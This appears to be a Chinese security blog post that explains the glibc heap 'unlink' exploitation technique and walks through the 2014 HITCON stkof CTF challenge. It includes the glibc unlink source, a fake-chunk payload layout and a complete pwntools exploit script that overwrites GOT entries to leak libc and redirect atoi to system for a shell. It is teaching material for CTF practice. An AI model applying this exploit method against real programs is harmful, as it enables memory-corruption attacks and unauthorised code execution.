前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Unlink的学习与利用

Unlink的学习与利用

作者头像
用户1631416
发布2019-09-24 14:11:01
7730
发布2019-09-24 14:11:01
举报
文章被收录于专栏:玄魂工作室玄魂工作室

本文转载自 订阅号“安全初心”

原理

0x00 unlink是什么

unlink说的是linux系统在进行空闲堆块管理的时候,进行空闲堆块的合并操作。一般发生在程序进行堆块释放之后。

(图片来自ctf wiki)

其实操作就是(学过数据结构应该很好理解)

代码语言:javascript
复制
p->fd->bk = p->bk
    p->bk->fd = p->fd

0x01 从源代码理解unlink

代码语言:javascript
复制
#define unlink(P, BK, FD) {                                            
        FD = P->fd;                                      
        BK = P->bk;                                      
        if (__builtin_expect (FD->bk != P || BK->fd != P, 0))          
          malloc_printerr (check_action, "corrupted double-linked list", P);   //这里有一个unlink的防护
        else {                                      
            FD->bk = BK;        \\进行了检查(核心代码)                             
            BK->fd = FD;                                  
            if (!in_smallbin_range (P->size)                      
                && __builtin_expect (P->fd_nextsize != NULL, 0)) {              
                assert (P->fd_nextsize->bk_nextsize == P);                  
                assert (P->bk_nextsize->fd_nextsize == P);                  
                if (FD->fd_nextsize == NULL) {                      
                    if (P->fd_nextsize == P)                      
                      FD->fd_nextsize = FD->bk_nextsize = FD;              
                    else {                                  
                        FD->fd_nextsize = P->fd_nextsize;                  
                        FD->bk_nextsize = P->bk_nextsize;                  
                        P->fd_nextsize->bk_nextsize = FD;                  
                        P->bk_nextsize->fd_nextsize = FD;                  
                      }                                  
                  } else {                                  
                    P->fd_nextsize->bk_nextsize = P->bk_nextsize;              
                    P->bk_nextsize->fd_nextsize = P->fd_nextsize;              
                  }                                      
              }                                      
          }                                          
    }

可以看出我们需要满足以下条件才能绕过检查

代码语言:javascript
复制
FD->bk = BK;                              
    BK->fd = FD;

为了绕过检查,我们必须在全局变量区找到一个指向堆块的地方,若该指针为ptr

代码语言:javascript
复制
32位  
    FD = ptr-12
    BK = ptr-8

    64位  
    FD = ptr-0x18
    BK = ptr-0x10

例题:2014 HITCON stkof

0x00 基本信息

代码语言:javascript
复制
$ file hitcon-14-stkof 
    hitcon-14-stkof: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, 
    $ checksec hitcon-14-stkof 
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

程序为64位,开了NX和Canary保护

0x01 流程分析

  1. alloc (输入分配内存的大小size)
  2. read_in (往分配的内存中输入内容,允许写入任意长度,可造成堆溢出)
  3. free (释放内存块)
  4. useless (无用函数)

0x02 利用过程

  • 首先构造3个chunk:chunk1、chunk2、chunk3,
  • 利用漏洞溢出chunk2,使chunk2和chunk3合并,利用unlink
代码语言:javascript
复制
alloc(0x100)  # id 1
    # begin 
    alloc(0x40)  # id 2
    # small chunk size in order to trigger unlink
    alloc(0x80)  # id 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0)  #prev_size
    payload += p64(0x40)  #current size
    payload += p64(head + 16 - 0x18)  #fd +16因为这是bss段,第二个堆块
    payload += p64(head + 16 - 0x10)  #bk
    payload = payload.ljust(0x40, 'a')
    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at chunk2
    payload += p64(0x40)
    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)
    # unlink fake chunk, so chunk[2] =&(chunk[2])-0x18=head-8
    free(3)
  • 修改 chunk0 为 free@got 地址,同时修改chunk1为 puts@got 地址,chunk2 为 atoi@got 地址
  • free@got的值覆盖为puts@plt
代码语言:javascript
复制
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
    edit(2, len(payload), payload)
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)
  • leak出system地址,覆盖atoi@got
代码语言:javascript
复制
free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    puts_offset = puts_addr - libc.symbols['puts']
    system_addr = puts_offset + libc.symbols['system']

    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send('/bin/sh')

0x03 exp

代码语言:javascript
复制
#!/usr/bin/python
    # -*- coding: utf-8 -*-
    from pwn import *

    context.log_level = 'debug'
    p = process("./hitcon-14-stkof")
    stkof = ELF('hitcon-14-stkof')
    libc = ELF('./libc.so.6')

    head = 0x602140


    def alloc(size):
        p.sendline('1')
        p.sendline(str(size))
        p.recvuntil('OK\n')


    def edit(idx, size, content):
        p.sendline('2')
        p.sendline(str(idx))
        p.sendline(str(size))
        p.send(content)
        p.recvuntil('OK\n')


    def free(idx):
        p.sendline('3')
        p.sendline(str(idx))


    def pwn():
        # small chunk size in order to trigger unlink
        alloc(0x100) # id 1
        alloc(0x40)  # id 2
        alloc(0x80)  # id 3
        # a fake chunk at chunk[2]=head+16 who's size is 0x40
        payload = p64(0)  #prev_size
        payload += p64(0x40)  #size
        payload += p64(head + 16 - 0x18)  #fd
        payload += p64(head + 16 - 0x10)  #bk
        #payload += p64(0x20)  # next chunk's prev_size bypass the check
        payload = payload.ljust(0x40, 'a')
        # overwrite chunk[3]'s chunk's prev_size
        # make it believe that prev chunk is at chunk[2]
        payload += p64(0x40)
        # make it believe that prev chunk is free
        payload += p64(0x90)
        edit(2, len(payload), payload)

        # unlink fake chunk, so chunk[2] =&(chunk[2])-0x18=head-8
        free(3)
        p.recvuntil('OK\n')

        # overwrite chunk0 = free@got, chunk1=puts@got, chunk2=atoi@got
        payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])


        edit(2, len(payload), payload)
        # edit free@got to puts@plt
        payload = p64(stkof.plt['puts'])
        edit(0, len(payload), payload)

        free(1)

        puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
        puts_addr = u64(puts_addr)

        log.success('puts_addr: ' + hex(puts_addr))
        puts_offset = puts_addr - libc.symbols['puts']
        system_addr = puts_offset + libc.symbols['system']
        log.success('put_offset: ' + hex(puts_offset))
        log.success('system_addr: ' + hex(system_addr))

        # turn atoi@got into system addr

        payload = p64(system_addr)
        edit(2, len(payload), payload)


        #p.send('/bin/sh')
        p.interactive()
    pwn()

0x04 题外话

由于unlink原理资料很多,所以本文原理介绍篇幅有限。这个程序没什么输出,很难看,分析起来很耗时间。复现题目一定要多换换参数,方法。如果本文有什么错误或者您有什么疑惑,请联系我。

参考资料:

http://wonderkun.cc/index.html/?p=651

https://blog.csdn.net/qq_33528164/article/details/79586902

https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/#_3

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-06-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 玄魂工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 本文转载自 订阅号“安全初心”
  • 原理
    • 0x00 unlink是什么
      • 0x01 从源代码理解unlink
      • 例题:2014 HITCON stkof
        • 0x00 基本信息
          • 0x01 流程分析
            • 0x02 利用过程
              • 0x03 exp
                • 0x04 题外话
                • 参考资料:
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档